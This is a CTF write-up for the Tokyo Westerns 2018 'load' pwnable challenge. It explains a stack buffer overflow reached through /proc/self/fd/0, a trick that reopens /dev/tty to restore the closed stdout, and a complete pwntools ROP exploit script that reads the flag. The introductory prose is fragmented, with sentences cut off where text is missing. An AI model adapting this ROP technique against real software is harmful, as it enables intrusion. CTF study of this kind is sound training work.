Tokyo Westerns CTF 2018 - load
Table of Contents
Tokyo Westerns CTF 2018 pwnable challenge Looking at If we manipulate The Since there’s a BOF vulnerability, I tried to do a libc leak, but strangely neither So I debugged and confirmed that the return value of After The problem was where to place I confirmed that putting the above payload 3 times in the ROP chain created 0, 1, and 2 in Although I succeeded in leaking this way, even after reviving Which means I can’t control I spent a long time thinking about how to output… Fortunately, there was a function in the code section that performs the same logic! By controlling the registers this way, I was able to output the 0x00. Introduction
[*] '/home/user/load'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled 0x01. Vulnerability
int __fastcall load_file_4008FD(void *buf, const char *file_name, __off_t offset, size_t size)
{
int fd; // [rsp+2Ch] [rbp-4h]
fd = open(file_name, 0);
if ( fd == -1 )
return puts("You can't read this file...");
lseek(fd, offset, 0);
if ( read(fd, buf, size) > 0 )
puts("Load file complete!");
return close(fd);
}load_file_4008FD(), it opens the input file name, reads size bytes of content, and writes it to the buf variable in main().file_name to be /proc/self/fd/0, instead of reading file contents, it reads from stdin and writes to buf. char buf[32]; // [rsp+0h] [rbp-30h] BYREF
size_t size; // [rsp+20h] [rbp-10h]
__off_t offset; // [rsp+28h] [rbp-8h]buf in main() is located at rbp-0x30 and we can input size as much as we want, so a BOF vulnerability occurs. 0x02. Exploit
puts() nor _printf_chk() which have PLT entries produced any output.puts() was -1, indicating that some error had occurred. While searching for when such errors occur, I found information that this can happen when there’s a problem with stdout, then I found…int close_4008D8()
{
close(0);
close(1);
return close(2);
}load_file_4008FD() ends and before main() terminates, a function called close_4008D8() is called, which closes stdout. So after diligent googling, I learned that we can revive stdout by opening /dev/tty./dev/tty and pass it to open(). During the process of putting /proc/self/fd/0 in file_name to trigger the BOF vulnerability, I thought I could add a \x00 and pass /dev/tty. # open("/dev/tty", O_RDWR | O_CREAT)
payload_open = p64(ppr)
payload_open += p64(66) # pop rsi
payload_open += p64(0) # pop r15
payload_open += p64(pr)
payload_open += p64(bp['file_name'] + 0x10) # pop rdi
payload_open += p64(elf.plt['open'])/proc/self/fd/ in order.stdin, I failed to send the next payload. So my concern was that even if I leaked, I couldn’t provide the next input, so I needed to give input at once to open -> read -> write the flag all at once, but there’s no rdx related gadget.size, the third argument of read, so after doing open("flag", 'r'); I had to pray that the rdx value would be large enough to read the contents… When I actually checked, the rdx value after open finished was 0. load_file_4008FD(buf, byte_601040, offset, size);rdi: Using pop rdi; ret; gadget, byte_601040 which is a free spacersi: Using pop rsi; pop r15; ret; gadget, location of flag inserted when triggering BOFrdx: 0 after open finishesrcx: 0x7ffff7e9e53b after open finishes (sufficiently large value)flag. 0x03. Payload
from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys
DEBUG = True
BINARY = "load"
LIBRARY = "libc.so.6"
pr = 0x0000000000400a73
ppr = 0x0000000000400a71
bp = {
'read_of_load_file' : 0x400966,
'main' : 0x400817,
'end_of_main' : 0x4008A8,
'close' : 0x4008D8,
'read_str' : 0x400986,
'file_name' : 0x601040,
'load_file' : 0x4008FD,
}
gs = f'''
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']
def send_msg(s, msg):
print(s.recvuntil(b": "))
s.sendline(msg.encode())
def main():
if(len(sys.argv) > 1):
s = process(BINARY)
else:
s = process(BINARY)
if DEBUG:
gdb.attach(s, gs)
elf = ELF(BINARY)
lib = ELF(LIBRARY)
send_msg(s, "/proc/self/fd/0\x00/dev/tty\x00flag\x00")
send_msg(s, "0")
send_msg(s, "1024")
payload = b"A" * 0x30
payload += b"B" * 8
# open("/dev/tty", O_RDWR | O_CREAT)
payload_open = p64(ppr)
payload_open += p64(66) # pop rsi
payload_open += p64(0) # pop r15
payload_open += p64(pr)
payload_open += p64(bp['file_name'] + 0x10) # pop rdi
payload_open += p64(elf.plt['open'])
# open 3 times -> open 0, 1, 2
payload += payload_open * 3
# load_file_4008FD(byte_601040, "flag", offset, size)
payload += p64(ppr)
payload += p64(bp['file_name'] + 0x19) # pop rsi
payload += p64(0) # pop r15
payload += p64(pr)
payload += p64(bp['file_name']) # pop rdi
payload += p64(bp['load_file'])
# puts(byte_601040)
payload += p64(pr)
payload += p64(bp['file_name']) # pop rdi
payload += p64(elf.plt['puts'])
log.info(f"payload length : {hex(len(payload))}")
s.sendline(payload)
pause()
print(s.recv().split(b"\n")[2])
if __name__=='__main__':
main()